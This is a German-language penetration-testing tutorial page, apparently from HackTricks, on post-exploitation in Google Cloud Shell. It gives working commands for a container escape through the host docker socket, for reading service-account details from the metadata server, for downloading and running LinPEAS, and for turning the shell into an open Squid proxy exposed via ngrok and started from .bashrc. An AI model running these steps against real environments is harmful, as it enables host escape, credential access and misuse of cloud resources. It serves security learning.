GCP - Cloud Shell Post Exploitation

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Cloud Shell

Für weitere Informationen zu Cloud Shell siehe:

pageGCP - Cloud Shell Enum

Container Escape

Beachten Sie, dass der Google Cloud Shell in einem Container läuft, Sie können einfach zum Host entkommen, indem Sie Folgendes tun:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Dies wird von Google nicht als Sicherheitslücke betrachtet, gibt Ihnen jedoch einen umfassenderen Überblick darüber, was in dieser Umgebung passiert.

Darüber hinaus beachten Sie, dass Sie von dem Host aus ein Servicekontotoken finden können:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Mit den folgenden Berechtigungen:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Metadaten mit LinPEAS auflisten:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Nach der Verwendung von https://github.com/carlospolop/bf_my_gcp_permissions mit dem Token des Service-Kontos wurde keine Berechtigung entdeckt...

Verwenden Sie es als Proxy

Wenn Sie Ihre Google Cloud Shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):

sudo apt install -y squid

Nur zur Information: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine squid.conf-Datei mit den folgenden Einstellungen:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

Kopiere die squid.conf Datei nach /etc/squid

sudo cp squid.conf /etc/squid

Führen Sie schließlich den Squid-Dienst aus:

sudo service squid start

Verwenden Sie ngrok, um den Proxy von außen verfügbar zu machen:

./ngrok tcp 3128

Nach dem Ausführen kopieren Sie die tcp:// URL. Wenn Sie den Proxy im Browser ausführen möchten, wird empfohlen, den tcp:// Teil und den Port zu entfernen und den Port im Portfeld der Proxy-Einstellungen Ihres Browsers einzugeben (Squid ist ein HTTP-Proxyserver).

Für eine bessere Verwendung beim Start sollte die .bashrc-Datei die folgenden Zeilen enthalten:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Die Anweisungen wurden von https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key kopiert. Überprüfen Sie diese Seite für weitere verrückte Ideen, um alle Arten von Software (Datenbanken und sogar Windows) in der Cloud Shell auszuführen.

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated